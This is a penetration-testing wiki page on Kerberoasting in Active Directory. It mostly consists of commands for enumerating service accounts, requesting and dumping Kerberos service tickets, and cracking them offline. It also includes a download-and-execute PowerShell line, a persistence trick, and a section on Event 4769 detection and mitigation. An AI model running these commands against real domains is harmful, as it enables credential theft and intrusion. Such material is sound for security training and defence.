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226 lines
13 KiB
Markdown
# Kerberoast
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Kerberoast
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Kerberoasting focuses on the acquisition of **TGS tickets**, specifically those related to services operating under **user accounts** in **Active Directory (AD)**, excluding **computer accounts**. The encryption of these tickets utilizes keys that originate from **user passwords**, allowing for the possibility of **offline credential cracking**. The use of a user account as a service is indicated by a non-empty **"ServicePrincipalName"** property.
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For executing **Kerberoasting**, a domain account capable of requesting **TGS tickets** is essential; however, this process does not demand **special privileges**, making it accessible to anyone with **valid domain credentials**.
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### Key Points:
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* **Kerberoasting** targets **TGS tickets** for **user-account services** within **AD**.
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* Tickets encrypted with keys from **user passwords** can be **cracked offline**.
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* A service is identified by a **ServicePrincipalName** that is not null.
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* **No special privileges** are needed, just **valid domain credentials**.
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### **Attack**
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{% hint style="warning" %}
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**Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\
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RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.`
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{% endhint %}
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#### **Linux**
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```bash
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# Metasploit framework
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msf> use auxiliary/gather/get_user_spns
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# Impacket
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GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
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GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
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# kerberoast: https://github.com/skelsec/kerberoast
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kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
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kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
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```
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Multi-features tools including a dump of kerberoastable users:
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```bash
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# ADenum: https://github.com/SecuProject/ADenum
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adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
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```
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#### Windows
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* **Enumerate Kerberoastable users**
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```powershell
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# Get Kerberoastable users
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setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
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Get-NetUser -SPN | select serviceprincipalname #Powerview
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.\Rubeus.exe kerberoast /stats
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```
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* **Technique 1: Ask for TGS and dump it from memory**
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```powershell
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#Get TGS in memory from a single user
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Add-Type -AssemblyName System.IdentityModel
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New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
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#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
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setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
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#List kerberos tickets in memory
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klist
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# Extract them from memory
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Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
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# Transform kirbi ticket to john
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python2.7 kirbi2john.py sqldev.kirbi
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# Transform john to hashcat
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sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
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```
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* **Technique 2: Automatic tools**
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```bash
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# Powerview: Get Kerberoast hash of a user
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Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
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# Powerview: Get all Kerberoast hashes
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Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
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# Rubeus
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
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.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
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# Invoke-Kerberoast
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iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
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Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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```
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{% hint style="warning" %}
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When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
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{% endhint %}
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
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### Cracking
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```bash
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john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
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hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
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./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
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```
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### Persistence
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If you have **enough permissions** over a user you can **make it kerberoastable**:
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```bash
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Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
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```
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You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
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If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
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* `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
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* `rdate -n <IP of DC>`
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### Mitigation
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Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
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* The service name should not be **krbtgt**, as this is a normal request.
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* Service names ending with **$** should be excluded to avoid including machine accounts used for services.
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* Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
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* Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
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* **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
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```bash
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Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
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```
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To mitigate the risk of Kerberoasting:
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* Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
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* Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
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By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
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## Kerberoast w/o domain account
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In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB\_AS\_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
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The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
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{% hint style="warning" %}
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You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
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{% endhint %}
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#### Linux
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* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
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```bash
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GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
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```
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#### Windows
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* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
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```bash
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Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
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```
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## References
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* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
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|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
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|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
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